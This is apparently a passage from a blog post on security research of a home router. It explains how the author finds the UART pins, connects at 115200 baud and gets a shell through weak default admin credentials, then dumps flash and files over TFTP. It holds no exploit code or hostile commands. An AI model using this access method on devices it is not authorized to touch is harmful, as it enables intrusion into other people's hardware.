<p class="wp-block-paragraph">As you may have seen on the previous pictures, a UART header is also present next to the flash module. The pins are not labeled, therefore a multimeter is used to identify each pin. First, the multimeter is set in continuity mode, one lead is placed against any of the grounds (any metal chassis parts), and the other tested against each lead to find the GND. Then, the device is powered on. The 3V3 pin is at a constant 3.3 volts from the start, while the TX pin can be seen fluctuating for ~30 seconds before it stabilizes as the router is sending logs over this pin during boot. Finally, the RX pin is constantly at 0 volts. Then, a UART to USB module was used to connect using a laptop.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="759" src="https://kylianeury.com/wp-content/uploads/2026/03/Router_UART_Pins-1024x759.jpg" alt="" class="wp-image-150" srcset="https://kylianeury.com/wp-content/uploads/2026/03/Router_UART_Pins-1024x759.jpg 1024w, https://kylianeury.com/wp-content/uploads/2026/03/Router_UART_Pins-300x222.jpg 300w, https://kylianeury.com/wp-content/uploads/2026/03/Router_UART_Pins-768x569.jpg 768w, https://kylianeury.com/wp-content/uploads/2026/03/Router_UART_Pins-1536x1139.jpg 1536w, https://kylianeury.com/wp-content/uploads/2026/03/Router_UART_Pins-2048x1518.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">From left to right: 3V3, GND, RX, TX</figcaption></figure>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="759" src="https://kylianeury.com/wp-content/uploads/2026/03/Router_UART_USB-1024x759.jpg" alt="" class="wp-image-151" srcset="https://kylianeury.com/wp-content/uploads/2026/03/Router_UART_USB-1024x759.jpg 1024w, https://kylianeury.com/wp-content/uploads/2026/03/Router_UART_USB-300x222.jpg 300w, https://kylianeury.com/wp-content/uploads/2026/03/Router_UART_USB-768x569.jpg 768w, https://kylianeury.com/wp-content/uploads/2026/03/Router_UART_USB-1536x1139.jpg 1536w, https://kylianeury.com/wp-content/uploads/2026/03/Router_UART_USB-2048x1518.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">The UART to USB module connected to the router UART</figcaption></figure>



<p class="wp-block-paragraph">Then, we open a terminal using screen. Using the default baud rate of 9600, only gibberish gets printed to it, indicating that our baud rate is most likely wrong. Therefore 115200 was tried as it is a common value and this ended up being the correct rate. The router sends all log messages and exposes a shell on the UART interface. As with TP-Link routers, the same weak credentials are used for the admin user (<a href="https://therealunicornsecurity.github.io/TPLink/">https://therealunicornsecurity.github.io/TPLink/</a>). This gives us full access over the router, and allows us to read the flash partitions, interact with the different services, and extract files over TFTP.</p>



<p class="wp-block-paragraph">In the next part, we will be doing a more thorough analysis of this router&#8217;s behavior, inspecting the web interface and the communications, and how we can make use of the large attack surface to hopefully find some new vulnerabilities.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
